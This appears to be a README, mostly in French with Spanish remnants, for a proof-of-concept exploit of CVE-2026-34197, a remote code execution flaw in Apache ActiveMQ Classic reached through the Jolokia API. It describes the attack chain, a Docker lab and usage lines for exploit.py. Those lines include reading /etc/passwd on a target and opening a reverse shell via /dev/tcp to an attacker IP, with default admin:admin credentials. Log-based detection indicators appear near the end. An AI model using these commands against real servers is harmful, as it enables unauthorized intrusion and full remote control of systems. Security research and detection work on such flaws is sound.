
Preuve de concept d'exploitation pour CVE-2026-34197, une RCE dans Apache ActiveMQ via l'API Jolokia. Inclut un exploit Python, un modèle de payload et un laboratoire Docker pour les tests et la recherche.
CVE-2026-34197 est une vulnérabilité d'exécution de code à distance (RCE) dans Apache ActiveMQ Classic qui permet à un attaquant d'exécuter des commandes arbitraires sur le système d'exploitation du serveur via l'API Jolokia exposée dans la console web.
La vulnérabilité existe depuis plus de 13 ans et réside dans l'interaction entre plusieurs composants : Jolokia (pont HTTP-JMX), les MBeans d'ActiveMQ, les connecteurs réseau et le transport VM.
| Champ | Détail |
|---|
| CVE ID | CVE-2026-34197 |
| Type | RCE (Remote Code Execution) |
| CWE | CWE-20 (Validation d'entrée incorrecte), CWE-94 (Injection de code) |
| Versions affectées | ActiveMQ Classic < 5.19.4, 6.0.0 — 6.2.2 |
| Versions corrigées | 5.19.4, 6.2.3 |
| Authentification requise | Oui (identifiants par défaut admin:admin courants) |
| Sans authentification sur | 6.0.0 — 6.1.1 (via CVE-2024-32114) |
| Port par défaut | 8161 (console web) |
La chaîne d'attaque fonctionne ainsi :
/api/jolokia/ en invoquant l'opération addNetworkConnector du MBean du broker.vm:// qui référence un broker inexistant.brokerConfig qui pointe vers une URL distante.xbean: indique que la ressource est un fichier de configuration Spring XML.Runtime.getRuntime().exec().Atacante ActiveMQ (víctima)
| |
|-- POST /api/jolokia/ ------------>|
| addNetworkConnector( |
| vm://rce?brokerConfig= |
| xbean:http://ATACANTE/x.xml) |
| |
| |-- Crea broker VM
| |-- Descarga x.xml
|<-- GET /x.xml --------------------|
|-- Responde con payload XML ------>|
| |-- Spring instancia beans
| |-- Runtime.exec(COMANDO)
| |
CVE-2026-34197/
├── README.md # Este archivo
├── exploit.py # PoC principal
├── payloads/
│ └── template.xml # Plantilla del payload Spring XML
├── docker/
│ └── docker-compose.yml # Entorno de laboratorio vulnerable
└── LICENSE
requests, http.server, argparse (stdlib)pip install requests
cd docker
docker-compose up -d
Cela lance un ActiveMQ Classic 5.18.6 vulnérable sur localhost:8161.
# Utilisation de base avec les identifiants par défaut
python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -c "id"
# Spécifier les identifiants
python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -c "whoami" -u admin -p admin
# Spécifier le port du serveur HTTP du payload
python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -lp 9999 -c "cat /etc/passwd"
# Mode sans authentification (ActiveMQ 6.0.0 - 6.1.1)
python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -c "id" --no-auth
# Shell inversé
python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -c "bash -i >& /dev/tcp/ATACANTE_IP/4444 0>&1"
| Paramètre | Description |
|---|---|
-t, --target | URL de base de la cible (ex : http://10.0.0.1:8161) |
-l, --lhost | IP de l'attaquant pour servir le payload XML |
-lp, --lport | Port du serveur HTTP local (par défaut : 8888) |
-c, --command | Commande à exécuter sur la cible |
-u, --user | Utilisateur (par défaut : admin) |
-p, --password | Mot de passe (par défaut : admin) |
--no-auth | Ne pas envoyer d'identifiants (pour les versions 6.0.0 - 6.1.1) |
--broker-name | Nom du broker (par défaut : localhost) |
Indicateurs dans les logs du broker ActiveMQ :
INFO | Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
WARN | Could not connect to remote URI: vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
Autres indicateurs :
/api/jolokia/ avec addNetworkConnector dans le corpsvm:// avec brokerConfig=xbean:httpCréé par KONDOR DEV SECURITY
Ce PoC est fourni exclusivement à des fins éducatives et de recherche en sécurité. L'utilisation de cet outil contre des systèmes sans autorisation explicite est illégale. L'auteur décline toute responsabilité en cas d'utilisation abusive de cet outil.
MIT — Copyright (c) 2026 KONDOR DEV SECURITY